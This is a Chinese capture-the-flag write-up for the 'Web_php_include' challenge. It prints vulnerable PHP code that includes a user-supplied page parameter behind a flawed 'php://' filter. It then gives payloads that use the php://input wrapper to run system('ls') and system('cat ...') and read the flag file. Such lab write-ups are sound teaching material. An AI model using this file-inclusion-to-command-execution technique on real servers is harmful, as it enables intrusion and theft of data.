Web_php_include 攻防世界

复制代码
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {    以是否检测到php://为判断执行循环
    $page=str_replace("php://", "", $page);//传入空值,替换
}
include($page);
?>

综上分析,get方式好像挺难去看到这个flag的,因为这种代码下的flag通常放在一个文件中,需要先展开ls,然后在cat查看。那我们就尝试用post传参

准备好一个Firefox 一个max hackbar

通过php伪协议php://input

首先post传入第一个命令 ,这个命令用来展开目录

复制代码
<php
system("ls")
?>

随后得到fl4gisisish3r3.php 一般这种文件就是flag,

我们使用

复制代码
<?php
system("cat fl4gisisish3r3.php ")//查看文件下的flag
?>

有的flag会直接在屏幕上,有的就藏在背后i的代码里,这个就是

相关推荐
运筹vivo@7 小时前
BUUCTF: [BSidesCF 2020]Had a bad day
web安全·ctf
三七吃山漆7 小时前
[网鼎杯 2020 朱雀组]phpweb
php·ctf·网鼎杯
韩立学长9 小时前
【开题答辩实录分享】以《助农信息发布系统设计与实现》为例进行选题答辩实录分享
python·web
unable code9 小时前
磁盘取证-Flying_High
网络安全·ctf·misc·1024程序员节·磁盘取证
chxii9 小时前
IIS 10.0
web
运筹vivo@13 小时前
BUUCTF : [RoarCTF 2019]Easy Java
java·web安全·ctf
unable code1 天前
磁盘取证-ColorfulDisk
网络安全·ctf·misc·1024程序员节·内存取证
unable code2 天前
磁盘取证-[第十章][10.1.2 磁盘取证方法]磁盘取证1
网络安全·ctf·misc·1024程序员节·内存取证
Fᴏʀ ʏ꯭ᴏ꯭ᴜ꯭.2 天前
HAProxy 自定义错误页面配置指南
运维·负载均衡·web
曲幽3 天前
FastAPI日志实战:从踩坑到优雅配置,让你的应用会“说话”
python·logging·fastapi·web·error·log·info